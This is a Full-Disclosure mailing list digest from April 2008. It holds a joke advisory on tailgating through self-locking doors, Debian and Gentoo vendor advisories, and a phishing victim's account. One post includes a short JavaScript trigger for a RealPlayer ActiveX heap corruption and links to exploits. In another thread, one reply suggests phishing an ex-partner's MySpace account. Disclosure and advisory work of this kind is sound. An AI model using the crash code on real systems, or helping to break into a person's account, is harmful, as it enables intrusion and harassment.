====== > > > > > > Malicious outsiders may be able to enter a structure via an exit point. > > > > > > Exit points may additionally provide an exit from a secure area of the > > > structure, allowing an outsider entering through the exit point to gain > > > direct access to the secure area. > > > > > > > > > Affected Systems > > > ================ > > > > > > Physical structures which employ automatically locking doors at exit > > > points of the structure. > > > > > > > > > Technical Explanation > > > ===================== > > > > > > An exit's lock[1] generally converts a two-way door into a one-way > > > door, allowing a person to traverse the door's threshold in one > > > direction but not in the other. These types of locks are used to > > > secure exit points of structures so that people may exit via the door > > > but not re-enter without disabling the lock through force or > > > authentication. > > > > > > When a person exits the structure through an exit point which is > > > secured by such a mechanism, a race condition exists wherein a > > > malicious outsider may be able to reach the door and enter through it > > > before it closes and locks itself. > > > > > > Many doors, especially heavier ones, also employ closing mechanisms[2] > > > which are designed to cause the door to close slowly so as not to slam > > > the door shut and damage the door frame, or damage any human appendage > > > which may be in between the door and it's frame. Such closing > > > mechanisms can greatly increase the amount of time that the race > > > condition exists. > > > > > > > > > Solution & Recommendations > > > ========================== > > > > > > 1) Always ensure that personnel exiting an exit door wait outside the > > > door until it has completely closed and locked before walking > > > away. > > > > > > 2) Employ a double door system such as is used in an air-lock where > > > the interior door must be secured prior to the exterior door being > > > allowed to open. > > > > > > > > > Exploitation > > > ============ > > > > > > First identify the exit point that you want to exploit. Stand at a > > > safe distance during a high-traffic time and watch for people to use > > > the exit point. Time how long it takes for the door to close and > > > lock itself when someone traverses the exit point. > > > > > > Next, identify a safe hiding place near the exit point, preferably > > > in a direction that would be behind a person exiting the door, but > > > which is within a distance to the exit point which you could traverse > > > in under the door's closing time at a brisk pace or run. > > > > > > Finally, hide in this location during a lower traffic time and wait > > > for someone to utilize the exit point. After they have exited the > > > door and are walking away, run to the door and enter before it has > > > closed and locked. Extra points are awarded for a spectacular dive > > > and/or roll to catch the door at the very last second. > > > > > > > > > References > > > ========== > > > > > > [1] http://en.wikipedia.org/wiki/Lock_%28device%29 > > > [2] http://en.wikipedia.org/wiki/Door_closer > > > > > > > > > Credits & Gr33ts > > > ================ > > > > > > Theodor Geisel, AHA!, NMRC, Uninformed Journal, dc214 > > > > > > > > > -- > > > I)ruid, C?ISSP > > > druid at caughq.org > > > http://druid.caughq.org > > > > > > _______________________________________________ > > > Full-Disclosure - We believe in it. > > > Charter: > http://lists.grok.org.uk/full-disclosure-charter.html > > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > > > > > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: > http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > > -- > -- h0 h0 h0 -- > www.nopsled.net > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: > http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From elazar at hushmail.com Tue Apr 1 15:28:47 2008 From: elazar at hushmail.com (Elazar Broad) Date: Tue, 01 Apr 2008 10:28:47 -0400 Subject: [Full-disclosure] Metasploit Framework 4.0 / PwnCraft RTS Game Message-ID: <20080401142847.BCC6CD01A3@mailserver10.hushmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Let the foolz begin :) Happy April 1st! On Tue, 01 Apr 2008 01:49:23 -0400 METASPLOIT CORPORATION wrote: >FOR IMMEDIATE RELEASE - APR 1, 200(2<<2) > > METASPLOIT CORPORATION ANNOUNCES VERSION 4.0 >OF THE METASPLOIT FRAMEWORK WITH EXCITING FEATURES > AND A CLOSED SOURCE LICENSE AGREEMENT. > >After over a year and a half in stealth-mode, Metasploit >Corporation has announced >the 4.0 release of their flag-ship product, The Metasploit >Framework. The new >release comes jam-packed with exciting features that are sure to >please even >the German legal system. The following brief list includes some >of the more >fantastic changes. > >PWNCRAFT! > >Tired of fighting the good fight with the tried and true user >interfaces you've >come to expect from exploitation frameworks? Seeing a command >shell for the >5000th time got you down? Well, you're in luck. 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Metasploit delivers high-quality, top- >notch, >success-driven exploits to the security world as one-stop-shop >exploitation >framework. > > > * The other 1% of the time, your own machine will be >compromised. > >_______________________________________________ >Full-Disclosure - We believe in it. >Charter: http://lists.grok.org.uk/full-disclosure-charter.html >Hosted and sponsored by Secunia - http://secunia.com/ -----BEGIN PGP SIGNATURE----- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQECAAYFAkfyRp8ACgkQi04xwClgpZgvQwP+P5O3dPIIu3t/aOJo8ufryik2p4BS J1xM7129LTFPfwNgx2lnBEAbLvLSAUMcgRaHBD0HJ+u6r/mxLJd7S0XFYRDjFGJ6PTYE i7/HRYmIQAXY1ENCyBHPvADGs7Ivj4x4sfcGN7OoeOcDyufqm0DC6LMkatQUxKu+lLoF 7yhhn9U= =j0A2 -----END PGP SIGNATURE----- -- Click here for free info on Graduate Degrees. http://tagline.hushmail.com/fc/Ioyw6h4eSposADR0PtOIVVC5EPU4F30Wlhs3UJjIvS4qQsdD3pzBWo/ From elazar at hushmail.com Tue Apr 1 16:46:34 2008 From: elazar at hushmail.com (Elazar Broad) Date: Tue, 01 Apr 2008 11:46:34 -0400 Subject: [Full-disclosure] Real Networks RealPlayer ActiveX Control Heap Corruption Message-ID: <20080401154635.1A3551A0039@mailserver8.hushmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Now that this is patched... http://milw0rm.com/exploits/5332 http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/ browser/realplayer_console.rb Elazar On Mon, 10 Mar 2008 01:50:57 -0400 Elazar Broad wrote: >Who: >Real Networks >http://www.real.com > >What: >Real Networks Real Player is a popular media player. > >How: >Real Player utilizes an ActiveX control to play content within the >users browser. > >rmoc3260.dll version 6.0.10.45 >{2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93} >{CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA} > >It is possible to modify heap blocks after they are freed and >overwrite certain registers, possibly allowing code execution. >Like >so: > >------------ >var buf = ''; >while (buf.length < 1005) buf = buf + 'A'; > >m = obj.Console; >obj.Console = buf; >obj.Console = m > >//repeat >m = obj.Console; >obj.Console = buf; >obj.Console = m --> Should crash here >------------- > >Workaround: >Set the killbit for this control. See >http://support.microsoft.com/kb/240797 > >Fix: >No official fix known > >Exploit: >Working on it > >Elazar -----BEGIN PGP SIGNATURE----- Charset: UTF8 Note: This signature can be verified at https://www.hushtools.com/verify Version: Hush 3.0 wpwEAQECAAYFAkfyWNoACgkQi04xwClgpZgyVgP+N7kKGC7cD/1qnnauXIi30j+fmEbK sIe+tOWjTSUKcoTZsoFLiQYd3tKu/t+mauZSi1msUaPgjHu1Or/laRU3Wgw008lnLAmC lT4O/tjlZP6luuzxCHyDrY6p5ze4sb4uDukKnGVHqpNMDoK/s0TFD/fZiaBdc7ZFvL9o 4Y6w7ZY= =IpM9 -----END PGP SIGNATURE----- -- Click here for free info on Graduate Degrees. http://tagline.hushmail.com/fc/Ioyw6h4eSposuNJokZ1ABDCgGd9ckObZCsDzUVQlPhlov4Mrkal8uM/ From DAVID.G.WESTON at saic.com Tue Apr 1 16:49:03 2008 From: DAVID.G.WESTON at saic.com (David Weston) Date: Tue, 01 Apr 2008 08:49:03 -0700 Subject: [Full-disclosure] CAU-2008-0001 - Slowly Closing Door Race Condition In-Reply-To: <997ef2c20803312218n65a6321cq215f88e872de41ba@mail.gmail.com> Message-ID: I saw Nate do a 0day sploit on this at the Hard Rock Amsterdam! On 3/31/08 10:18 PM, "Nate McFeters" wrote: > Hahaha, nice find. > > On 4/1/08, I)ruid wrote: >> ____ ____ __ __ >> / \ / \ | | | | >> ----====####/ /\__\##/ /\ \##| |##| |####====---- >> | | | |__| | | | | | >> | | ___ | __ | | | | | >> ------======######\ \/ /#| |##| |#| |##| |######======------ >> \____/ |__| |__| \______/ >> >> Computer Academic Underground >> http://www.caughq.org >> Security Advisory >> >> ===============/======================================================== >> Advisory ID: CAU-2008-0001 >> Release Date: 04/01/2008 >> Title: Slowly Closing Door Race Condition >> Application/OS: Physical Structures >> Topic: Physical structures employing exit doors with locks >> are vulnerable to a race condition. >> Vendor Status: Not Notified >> Attributes: Physical, Race Condition >> Advisory URL: http://www.caughq.org/advisories/CAU-2008-0001.txt >> Author/Email: CAU > >> ===============/======================================================== >> >> Overview >> ======== >> >> Physical structures which employ automatically locking doors to secure >> exit points expose a race condition which may allow unauthorized entry. >> >> >> Impact >> ====== >> >> Malicious outsiders may be able to enter a structure via an exit point. >> >> Exit points may additionally provide an exit from a secure area of the >> structure, allowing an outsider entering through the exit point to gain >> direct access to the secure area. >> >> >> Affected Systems >> ================ >> >> Physical structures which employ automatically locking doors at exit >> points of the structure. >> >> >> Technical Explanation >> ===================== >> >> An exit's lock[1] generally converts a two-way door into a one-way >> door, allowing a person to traverse the door's threshold in one >> direction but not in the other. These types of locks are used to >> secure exit points of structures so that people may exit via the door >> but not re-enter without disabling the lock through force or >> authentication. >> >> When a person exits the structure through an exit point which is >> secured by such a mechanism, a race condition exists wherein a >> malicious outsider may be able to reach the door and enter through it >> before it closes and locks itself. >> >> Many doors, especially heavier ones, also employ closing mechanisms[2] >> which are designed to cause the door to close slowly so as not to slam >> the door shut and damage the door frame, or damage any human appendage >> which may be in between the door and it's frame. Such closing >> mechanisms can greatly increase the amount of time that the race >> condition exists. >> >> >> Solution & Recommendations >> ========================== >> >> 1) Always ensure that personnel exiting an exit door wait outside the >> door until it has completely closed and locked before walking >> away. >> >> 2) Employ a double door system such as is used in an air-lock where >> the interior door must be secured prior to the exterior door being >> allowed to open. >> >> >> Exploitation >> ============ >> >> First identify the exit point that you want to exploit. Stand at a >> safe distance during a high-traffic time and watch for people to use >> the exit point. Time how long it takes for the door to close and >> lock itself when someone traverses the exit point. >> >> Next, identify a safe hiding place near the exit point, preferably >> in a direction that would be behind a person exiting the door, but >> which is within a distance to the exit point which you could traverse >> in under the door's closing time at a brisk pace or run. >> >> Finally, hide in this location during a lower traffic time and wait >> for someone to utilize the exit point. After they have exited the >> door and are walking away, run to the door and enter before it has >> closed and locked. Extra points are awarded for a spectacular dive >> and/or roll to catch the door at the very last second. >> >> >> References >> ========== >> >> [1] http://en.wikipedia.org/wiki/Lock_%28device%29 >> [2] http://en.wikipedia.org/wiki/Door_closer >> >> >> Credits & Gr33ts >> ================ >> >> Theodor Geisel, AHA!, NMRC, Uninformed Journal, dc214 >> >> >> -- >> I)ruid, C?ISSP >> druid at caughq.org >> http://druid.caughq.org >> >> _______________________________________________ >> Full-Disclosure - We believe in it. >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html >> Hosted and sponsored by Secunia - http://secunia.com/ >> >> >> >> >> _______________________________________________ >> Full-Disclosure - We believe in it. >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html >> Hosted and sponsored by Secunia - http://secunia.com/ >> >> Thanks, >> David Weston >> Security Engineer >> Science Application International Corporation >> Web: http://www.saic.com/infosec >> Email:DAVID.G.WESTON at saic.com >> Office:858-826-5435 >> Cell: 310-866-9713 -------------- next part -------------- An HTML attachment was scrubbed... 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This update merely adds the packages for Debian 3.1 sarge (oldstable) which were missing in the previous DSA. The Common Vulnerabilities and Exposures project identified the following three problems: CVE-2007-6354 Inadequate EXIF property validation could lead to invalid memory accesses if executed on a maliciously crafted image, potentially including heap corruption and the execution of arbitrary code. CVE-2007-6355 Flawed data validation could lead to integer overflows, causing other invalid memory accesses, also with the potential for memory corruption or arbitrary code execution. CVE-2007-6356 Cyclical EXIF image file directory (IFD) references could cause a denial of service (infinite loop). For the stable distribution (etch), these problems have been fixed in version 0.98-1.1+etch1. For the oldstable distribution (sarge), these problems have been fixed in version 0.98-1.1+0sarge1. For the unstable distribution (sid), these problems have been fixed in version 1.01-0.1. Upgrade instructions - -------------------- wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.1 alias sarge - -------------------------------- Source archives: http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+0sarge1.diff.gz Size/MD5 checksum: 5131 3baa30a42f531580a502a3f3818ead56 http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98.orig.tar.gz Size/MD5 checksum: 50195 5a8a4057c4dac1d765da5f9ef4527bdf http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+0sarge1.dsc Size/MD5 checksum: 873 b85e0a4a382cac6a844af52e42c670bb alpha architecture (DEC Alpha) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+0sarge1_alpha.deb Size/MD5 checksum: 63406 d4b9ee67dcfb07ef1bc6ab143bd50496 amd64 architecture (AMD x86_64 (AMD64)) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+0sarge1_amd64.deb Size/MD5 checksum: 56656 83688a1b3ec9c359a734f04bb985350d arm architecture (ARM) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+0sarge1_arm.deb Size/MD5 checksum: 56064 eb60a8336c020a588458bb07fb57c1bc hppa architecture (HP PA RISC) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+0sarge1_hppa.deb Size/MD5 checksum: 59824 be52ea467c6651b65a371895948005b4 i386 architecture (Intel ia32) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+0sarge1_i386.deb Size/MD5 checksum: 52514 1850fa2d6b54fe1029553605509ef7cf ia64 architecture (Intel ia64) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+0sarge1_ia64.deb Size/MD5 checksum: 76252 ce03fb64e959c8a2f24ad3744ca80fd5 m68k architecture (Motorola Mc680x0) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+0sarge1_m68k.deb Size/MD5 checksum: 53120 8c98a08982680a42e1c6aab585faf487 mips architecture (MIPS (Big Endian)) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+0sarge1_mips.deb Size/MD5 checksum: 60736 14cbe8b15c5260b969961cf4107da991 mipsel architecture (MIPS (Little Endian)) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+0sarge1_mipsel.deb Size/MD5 checksum: 60040 3bdbbf546125a75c00800cb4039b25ab powerpc architecture (PowerPC) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+0sarge1_powerpc.deb Size/MD5 checksum: 54812 8d33fe8cb068bf1f02ce0c4a8cd3c8d0 s390 architecture (IBM S/390) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+0sarge1_s390.deb Size/MD5 checksum: 58208 9e7eeadcaefc2fe90aa11ece173348e2 Debian GNU/Linux 4.0 alias etch - ------------------------------- Source archives: http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+etch1.dsc Size/MD5 checksum: 577 7b8743189acd9b4c0a7a25cabb5b753d http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+etch1.diff.gz Size/MD5 checksum: 5128 2f82244bd73046f31b07e77a7381dd15 http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98.orig.tar.gz Size/MD5 checksum: 50195 5a8a4057c4dac1d765da5f9ef4527bdf alpha architecture (DEC Alpha) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+etch1_alpha.deb Size/MD5 checksum: 62970 e481f4f8ce70b25a648a2d3678d48e07 amd64 architecture (AMD x86_64 (AMD64)) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+etch1_amd64.deb Size/MD5 checksum: 57924 a5a6906e8d05beeffc763379a9c45ba2 arm architecture (ARM) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+etch1_arm.deb Size/MD5 checksum: 56278 b06bf3f7722f034096719c7153fae5bd i386 architecture (Intel ia32) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+etch1_i386.deb Size/MD5 checksum: 52558 ceed89333fd99a11d26765390ae35871 ia64 architecture (Intel ia64) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+etch1_ia64.deb Size/MD5 checksum: 75164 ca893189af6fe68536774bac7dd357a1 mips architecture (MIPS (Big Endian)) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+etch1_mips.deb Size/MD5 checksum: 61010 a5415b5fb389903c20c431a245fcb3fb mipsel architecture (MIPS (Little Endian)) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+etch1_mipsel.deb Size/MD5 checksum: 60064 2961a652e3cb269a0671fe2281b2f017 powerpc architecture (PowerPC) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+etch1_powerpc.deb Size/MD5 checksum: 54734 23a4389bb781e0a054c1687986ac1b1a s390 architecture (IBM S/390) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+etch1_s390.deb Size/MD5 checksum: 58988 38bf328294b2afe633ef99a5b97f3f1e sparc architecture (Sun SPARC/UltraSPARC) http://security.debian.org/pool/updates/main/e/exiftags/exiftags_0.98-1.1+etch1_sparc.deb Size/MD5 checksum: 56132 d2e1cd3190fe528527beaacc2ef6be3f These files will probably be moved into the stable distribution on its next update. - --------------------------------------------------------------------------------- For apt-get: deb http://security.debian.org/ stable/updates main For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main Mailing list: debian-security-announce at lists.debian.org Package info: `apt-cache show ' and http://packages.debian.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.6 (GNU/Linux) iQEVAwUBR/HphGz0hbPcukPfAQIMhwgAlfBtUv2OIG9pd6b26OpGwV2zzXL7J23s TCokCtRNFuzH/KhWIN/c1j8N9sZda6EwsKSQtP7VIsGFCOW0iSOMcnf5uxHnP2kl m9+pPNn+HOBnqEU3Mj4f74rmpV/7d5yBnn20ap8IwGVjoYIqYJcPFnQrFEuNfFYY tOaP+M74btA9eINtvx2f9HpVnjyMcM9DpVhhvU+yu52sOWvNYtLL9WqakvUI74CF OcjpnHnLgWmcp6t++m2GpIj4YmsupWSJED6HhQDU+KphJTH89EnyFoDlj5Oyu8fL ax+JH27yqvy1b9M0TvLpV18ewPM6fCBdy9kvLDgOrbGh0N/WqzhbfQ== =qSYx -----END PGP SIGNATURE----- From lassiterxavier at yahoo.com Tue Apr 1 00:58:12 2008 From: lassiterxavier at yahoo.com (Xavier lassiter) Date: Mon, 31 Mar 2008 16:58:12 -0700 (PDT) Subject: [Full-disclosure] Xbox live accounts are being stolen (update) Message-ID: <672631.87889.qm@web63011.mail.re1.yahoo.com> Hi My Name Is Xavier And You said to send you any info on Hacked Xbox live accounts just like to tell you my account was also Hacked since Wednesday march 26th 2008 I been talking to Xbox for two weeks now its march 31st well me and two of my friends accounts got stolen by my friend giving me this web site for free Microsoft Points like (Excuse me for my langue) Like a Fucking Dumb ass I went to the web site I looks just like a Xbox web site here is a link www.freempz.110mb.com when you look at the website it looks so real so I put in my e-mail address and password just like Xbox.com and it signed me in nothing happened so I got of my computer and went on my Xbox and a few minutes later I get a friend request from another person it was my friend and he told me not to go to that web site because they took his information when he told me that I went to change my information it was to late the email was changed and the password so what I did was I was going to stay on but it kicked me of I did not say I singed off but I tried to sign back in it said that my account was recovered so I called Xbox im going to try to remember everything ok I called them and I told them my account was stolen they did not know what the hell I was talking about after I spent Five minutes explaining to them that my account was stolen so they man I was talking to asked me for the gamertag Xman1231 they they asked me what was the address oh and this is on the first day and he asked me what was my secret password what was my pets name first I said I don?t have a pet and I told him that I put my favorite food and I told him that everything was changed my address name last name everything they that?s when the guy got what the hell I was talking about it would been good if I wrote there names down but I did not let me get back the subject at hand ok then they put me on hold and then they put me on hold again and that?s when they put me in contact with the supervisor Matt I talked to him and everything and he said that he can suspend the account oh while this was happening they puck ass hacker was on my account but the I told they guy everything I told the man I was talking to that was they supervisor told me they will be in contact with me at the end of this week or next week in my mind I know there not going to call but they supervisor told me that I can make another account while I wait for there call he gave me a reference number and I got off the phone and I made a new account and I was thinking that can they just remove the email address and pass word that's there and add a new one but it was to late to call I apologize for my writing and thank you for reading this e-mail. if any question to asked you can contact me at my e-mail address lassiterxavier at yahoo.com ____________________________________________________________________________________ You rock. That's why Blockbuster's offering you one month of Blockbuster Total Access, No Cost. http://tc.deals.yahoo.com/tc/blockbuster/text5.com -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080331/f3f8d060/attachment.html From druid at caughq.org Tue Apr 1 18:27:05 2008 From: druid at caughq.org (I)ruid) Date: Tue, 01 Apr 2008 12:27:05 -0500 Subject: [Full-disclosure] CAU-2008-0001 - Slowly Closing Door Race Condition In-Reply-To: References: <1207026022.3142.287.camel@localhost> <997ef2c20803312218n65a6321cq215f88e872de41ba@mail.gmail.com> Message-ID: <1207070825.3142.293.camel@localhost> On Tue, 2008-04-01 at 08:58 -0500, evilrabbi wrote: > Why would you realease something like this without telling the vendor? > What you did is irresponsible. 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Moral: If you don't even know what day of the week it is, you probably shouldn't be using the Internet. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080401/c307bd58/attachment.bin From blah at blakogre.com Tue Apr 1 19:13:58 2008 From: blah at blakogre.com (blah) Date: Tue, 1 Apr 2008 11:13:58 -0700 Subject: [Full-disclosure] Xbox live accounts are being stolen (update) In-Reply-To: <672631.87889.qm@web63011.mail.re1.yahoo.com> References: <672631.87889.qm@web63011.mail.re1.yahoo.com> Message-ID: <28f529ba0804011113l3720982cq90feba4b94eb1e2d@mail.gmail.com> I'd like to introduce you to a new friend you haven't met before: http://images.jupiterimages.com/common/detail/80/16/22421680.jpg "march 26th 2008 I been talking to Xbox for two weeks now its march 31st " Hacked 3/26. Now 3/31. 2 weeks? Here: http://www.amazon.com/Subtraction-Flash-Cards-Pack-54/dp/0307249522/ref=pd_bbs_sr_1?ie=UTF8&s=books&qid=1207073496&sr=8-1 All of that aside, hope you get things restored. 2008/3/31 Xavier lassiter : > > > Hi My Name Is Xavier And You said to send you any info on Hacked Xbox live > accounts just like to tell you my account was also Hacked since Wednesday > march 26th 2008 I been talking to Xbox for two weeks now its march 31st well > me and two of my friends accounts got stolen by my friend giving me this web > site for free Microsoft Points like (Excuse me for my langue) Like a Fucking > Dumb ass I went to the web site I looks just like a Xbox web site here is a > link www.freempz.110mb.com when you look at the website it looks so real so > I put in my e-mail address and password just like Xbox.com and it signed me > in nothing happened so I got of my computer and went on my Xbox and a few > minutes later I get a friend request from another person it was my friend > and he told me not to go to that web site because they took his information > when he told me that I went to change my information it was to late the > email was changed and the password so what I did was I was going to stay on > but it kicked me of I did not say I singed off but I tried to sign back in > it said that my account was recovered so I called Xbox im going to try to > remember everything ok I called them and I told them my account was stolen > they did not know what the hell I was talking about after I spent Five > minutes explaining to them that my account was stolen so they man I was > talking to asked me for the gamertag Xman1231 they they asked me what was > the address oh and this is on the first day and he asked me what was my > secret password what was my pets name first I said I don't have a pet and I > told him that I put my favorite food and I told him that everything was > changed my address name last name everything they that's when the guy got > what the hell I was talking about it would been good if I wrote there names > down but I did not let me get back the subject at hand ok then they put me > on hold and then they put me on hold again and that's when they put me in > contact with the supervisor Matt I talked to him and everything and he said > that he can suspend the account oh while this was happening they puck ass > hacker was on my account but the I told they guy everything I told the man I > was talking to that was they supervisor told me they will be in contact with > me at the end of this week or next week in my mind I know there not going to > call but they supervisor told me that I can make another account while I > wait for there call he gave me a reference number and I got off the phone > and I made a new account and I was thinking that can they just remove the > email address and pass word that's there and add a new one but it was to > late to call I apologize for my writing and thank you for reading this > e-mail. if any question to asked you can contact me at my e-mail address > lassiterxavier at yahoo.com > > ________________________________ > OMG, Sweet deal for Yahoo! users/friends: Get A Month of Blockbuster Total > Access, No Cost. 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Background ========== CUPS provides a portable printing layer for UNIX-based operating systems. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-print/cups < 1.2.12-r7 >= 1.2.12-r7 Description =========== Multiple vulnerabilities have been reported in CUPS: * regenrecht (VeriSign iDefense) discovered that the cgiCompileSearch() function used in several CGI scripts in CUPS' administration interface does not correctly calculate boundaries when processing a user-provided regular expression, leading to a heap-based buffer overflow (CVE-2008-0047). * Helge Blischke reported a double free() vulnerability in the process_browse_data() function when adding or removing remote shared printers (CVE-2008-0882). * Tomas Hoger (Red Hat) reported that the gif_read_lzw() function uses the code_size value from GIF images without properly checking it, leading to a buffer overflow (CVE-2008-1373). * An unspecified input validation error was discovered in the HP-GL/2 filter (CVE-2008-0053). Impact ====== A local attacker could send specially crafted network packets or print jobs and possibly execute arbitrary code with the privileges of the user running CUPS (usually lp), or cause a Denial of Service. The vulnerabilities are exploitable via the network when CUPS is sharing printers remotely. Workaround ========== There is no known workaround at this time. Resolution ========== All CUPS users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-print/cups-1.2.12-r7" References ========== [ 1 ] CVE-2008-0047 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0047 [ 2 ] CVE-2008-0053 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0053 [ 3 ] CVE-2008-0882 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0882 [ 4 ] CVE-2008-1373 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1373 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200804-01.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. 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Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080401/afb4bed8/attachment.bin From codyroby at hotmail.com Tue Apr 1 20:31:38 2008 From: codyroby at hotmail.com (Cody Roby) Date: Tue, 1 Apr 2008 15:31:38 -0400 Subject: [Full-disclosure] (no subject) Message-ID: Alright i have a crazy ex who keeps posting malicous things about me on her myspace and i would like to know how to use html errors to hack her myspace, i saw a previous post, but the code has been removed. please help. _________________________________________________________________ Pack up or back up?use SkyDrive to transfer files or keep extra copies. Learn how. hthttp://www.windowslive.com/skydrive/overview.html?ocid=TXT_TAGLM_WL_Refresh_skydrive_packup_042008 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20080401/0be6d132/attachment.html From mastahflank at gmail.com Tue Apr 1 20:50:36 2008 From: mastahflank at gmail.com (=?utf-8?B?am9zaA==?=) Date: Tue, 1 Apr 2008 19:50:36 +0000 Subject: [Full-disclosure] (no subject) In-Reply-To: References: Message-ID: <715747295-1207079441-cardhu_decombobulator_blackberry.rim.net-472956415-@bxe032.bisx.prod.on.blackberry> Can you sue for slander? And probably a simple phishing techique would work against her. Sent from my BlackBerry? smartphone with SprintSpeed -----Original Message----- From: Cody Roby Date: Tue, 1 Apr 2008 15:31:38 To: Subject: [Full-disclosure] (no subject) Alright i have a crazy ex who keeps posting malicous things about me on her myspace and i would like to know how to use html errors to hack her myspace, i saw a previous post, but the code has been removed. please help. ---------------- Pack up or back up?use SkyDrive to transfer files or keep extra copies. Learn how. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From groffg at gmgdesign.com Tue Apr 1 21:05:38 2008 From: groffg at gmgdesign.com (Garrett M. Groff) Date: Tue, 1 Apr 2008 16:05:38 -0400 Subject: [Full-disclosure] (no subject) References: <715747295-1207079441-cardhu_decombobulator_blackberry.rim.net-472956415-@bxe032.bisx.prod.on.blackberry> Message-ID: <00b601c89433$c334cec0$336b880a@softpro.corp> Another approach is that you could stop reading her blog and seek an alternate past-time(s). That would avoid the commission of computer crime and its possible ramifications. - G ----- Original Message ----- From: "josh" To: "Cody Roby" ; ; Sent: Tuesday, April 01, 2008 3:50 PM Subject: Re: [Full-disclosure] (no subject) Can you sue for slander? And probably a simple phishing techique would work against her. Sent from my BlackBerry? smartphone with SprintSpeed -----Original Message----- From: Cody Roby Date: Tue, 1 Apr 2008 15:31:38 To: Subject: [Full-disclosure] (no subject) Alright i have a crazy ex who keeps posting malicous things about me on her myspace and i would like to know how to use html errors to hack her myspace, i saw a previous post, but the code has been removed. please help. ---------------- Pack up or back up?use SkyDrive to transfer files or keep extra copies. Learn how. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From xploitable at gmail.com Tue Apr 1 21:59:43 2008 From: xploitable at gmail.com (n3td3v) Date: Tue, 1 Apr 2008 21:59:43 +0100 Subject: [Full-disclosure] sans handler gives out n3td3v e-mail to public In-Reply-To: <20605.1206932416@turing-police.cc.vt.edu> References: <200803211614.11815.atlas@r4780y.com> <4b6ee9310803221427s289092b1x5066e5f7ff61e17e@mail.gmail.com> <4b6ee9310803291008s459baecexd33b982871045cf8@mail.gmail.com> <20605.1206932416@turing-police.cc.vt.edu> Message-ID: <4b6ee9310804011359g6e827222o2cce826c2e18cda0@mail.gmail.com> On Mon, Mar 31, 2008 at 4:00 AM, wrote: > On Sat, 29 Mar 2008 17:08:43 -0000, n3td3v said: > > > Why are they announcing podcasts when both Joel Esler and Johannes > > Ullrich have a privacy breach still to publically 